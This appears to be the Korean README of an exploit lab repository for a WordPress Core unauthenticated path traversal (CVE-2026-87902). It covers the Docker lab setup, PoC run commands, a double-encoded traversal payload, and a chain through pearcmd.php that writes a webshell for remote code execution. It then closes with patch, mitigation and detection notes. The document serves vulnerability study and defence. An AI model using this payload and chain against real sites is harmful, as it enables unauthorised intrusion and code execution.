
WordPress Core의 인증되지 않은 path traversal(CVE-2026-87902)을 위한 취약한 랩(Docker) + PoC Python — (page-template -> LFI -> 조건부 RCE). 교육/승인된 사용 목적.
의도적으로 취약한 Lab + Python PoC for CVE-2026-87902: WordPress Core의 page template 해석 과정에서 발생하는 비인증 path traversal로, Local File Inclusion (LFI) 및 조건부 RCE로 이어짐.
| 필드 | 값 |
|---|---|
| 제품 | WordPress Core |
| 영향받는 버전 | 4.7.0 → 7.1.1 |
| 수정 | 7.1.2 (4.7.37까지 백포트) |
| 유형 | Path Traversal (CWE-22) → LFI → 조건부 RCE |
| 인증 | 없음 (비인증) |
| CVSS 4.0 | 9.2 (치명적) |
| 공개 | 2026-09-23 |
⚠️ 법적 / 윤리적 경고. 이곳의 모든 자료는 로컬 및 승인된 환경에서의 학습을 위한 것입니다. 이 Lab은 의도적으로 안전하지 않은 Docker 이미지이므로 인터넷에 노출하지 마십시오.
exploit.py는 의도적으로 기본 대상이http://localhost:8091입니다. 명시적인 서면 승인 없이 어떤 시스템에 대해서도 PoC를 실행하는 것은 범죄입니다. 사용에 대한 책임은 전적으로 본인에게 있습니다.
EXPLOIT-CVE-2026-87902/
├── README.md # 이 파일
├── docker-compose.yml # localhost:8091에서 Lab 실행
├── lab/
│ ├── Dockerfile # php:8.2-apache + PEAR + register_argc_argv=On
│ ├── config/zz-lab.ini # RCE 환경 사전 조건
│ └── src/ # 취약한 부분을 재현한 "WordPress mini"
│ ├── index.php # 프론트 컨트롤러 (≈ template-loader.php)
│ ├── wp-mini.php # 취약한 get_page_template()/locate_template()/...
│ ├── private/
│ │ └── secret-config.php # 테마 외부의 .php 대상 (LFI 증명)
│ └── wp-content/themes/twentytwelve-mini/
│ ├── style.css
│ ├── index.php
│ └── page-templates/ # traversal에 필요한 "page-*" 디렉터리
│ └── full-width.php
└── exploit/
├── exploit.py # PoC (pt-BR): pearcmd를 통한 LFI + RCE 체인
└── requirements.txt
사전 요구사항: Docker + Docker Compose 및 requests가 설치된 Python 3.
# 1) Lab 실행 (http://localhost:8091에서 실행됨)
docker compose up --build
# 2) 다른 터미널에서 PoC 의존성 설치 후 실행
cd exploit
pip install -r requirements.txt
python3 exploit.py # 로컬 Lab에 대해 LFI + RCE 실행
# 유용한 옵션
python3 exploit.py --mode lfi # LFI 증명만
python3 exploit.py --mode rce --cmd 'uname -a'
python3 exploit.py --target http://localhost:8091
# 3) Lab 종료
docker compose down
예상 출력 (요약):
[LFI] Sucesso! Arquivo externo incluído -> SEGREDO_DO_LAB{lfi_via_page_template_traversal}
[RCE] Comando executado no servidor:
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
FLAG{cve_2026_87902_rce_no_wordpress_mini}
------------------------------------------------------------
get_page_template()에서 공개 쿼리 변수 **pagename**의 값이
템플릿 이름을 구성하는 데 사용됩니다. 코어는 원시 값을
validate_file()로 검증하지만(리터럴 ..을 차단함), 이후 값을
한 번 디코딩하고 그 결과를 템플릿 후보로 사용하면서 재검증하지 않습니다
(wp-mini.php에 충실히 재현됨):
if ($pagename !== '' && 0 === validate_file($pagename)) {
$templates[] = "page-{$pagename}.php"; // 원시 값 (아직 인코딩됨)
$pagename_decoded = urldecode($pagename); // <-- 2차 디코딩
if ($pagename_decoded !== $pagename) {
$templates[] = "page-{$pagename_decoded}.php"; // traversal 재도입
}
}
그런 다음 locator는 테마 + "/" + 템플릿을 연결하고
존재하는 첫 번째 파일을 포함하며, realpath()도 없고 결과가
테마 디렉터리 내부에 있는지 확인하지도 않습니다.
공격자는 pagename을 이중으로 인코딩하여 전송합니다:
전송되는 값 (POST body): templates%252f%252e%252e%252f...%252fpearcmd
1차 디코딩 (HTTP): templates%2f%2e%2e%2f...%2fpearcmd <- 리터럴 '..' 없음 => validate_file() 통과
2차 디코딩 (core): templates/../../.../pearcmd <- 실제 traversal
locator가 page-를 접두사로 붙이므로 경로는
page-templates/../../.../pearcmd.php가 됩니다. 이는 테마 외부로 해석됩니다.
page-로 시작하는 최상위 디렉터리를 가진 테마 (여기서는
page-templates/). 이것이 traversal의 실제 시작점입니다: Linux에서는
../가 해석되려면 경로의 각 구성 요소가 존재해야 합니다. 레거시 테마
(Twenty Twelve/Fourteen)와 인기 테마(Neve, Hestia, Sydney)가 해당됩니다.register_argc_argv = On → $_SERVER['argv']가
쿼리 문자열로부터 채워집니다.pearcmd.php를 읽을 수 있음 (공식 php:8.2-apache 이미지에는
기본 include_path의 /usr/local/lib/php/pearcmd.php에 이미 포함되어 있음).locator가 .php를 덧붙이므로 LFI는 .php 파일에만 도달할 수 있습니다.
따라서 실질적인 RCE 경로는 pearcmd.php와 연쇄됩니다:
config-create를 전달하여
pearcmd.php를 포함시켜 /tmp에 .php 웹셸을 작성합니다./tmp/<webshell>.php를 포함 → 공격자의
PHP가 실행됩니다.패치는 pagename 값을 일관되게 처리합니다: 어떤 디코딩 이후에 검증하고
(또는 인코딩된 traversal 시퀀스가 포함된 입력을 거부하고), 템플릿 해석 시
디렉터리 경계를 강제합니다(최종 경로가 테마 내부에 있어야 함). 결과:
이중 인코딩된 값은 더 이상 include까지 살아남지 못합니다.
완화책: ≥ 7.1.2로 업데이트하고, 심층 방어로
register_argc_argv = Off, pearcmd.php 제거/제한, 그리고 요청에서
인코딩된 ../(%2e%2e%2f, %252e...)를 탐지하는 WAF를 사용하십시오.
../(%2e%2e%2f, %252e%252e%252f)가
포함된 프런트엔드 요청.pagename의 이상한 값),
특히 config-create / pearcmd 참조가 포함된 쿼리 문자열과 결합된 경우./tmp에 예기치 않게 .php 파일이 생성된 후 포함되는 경우.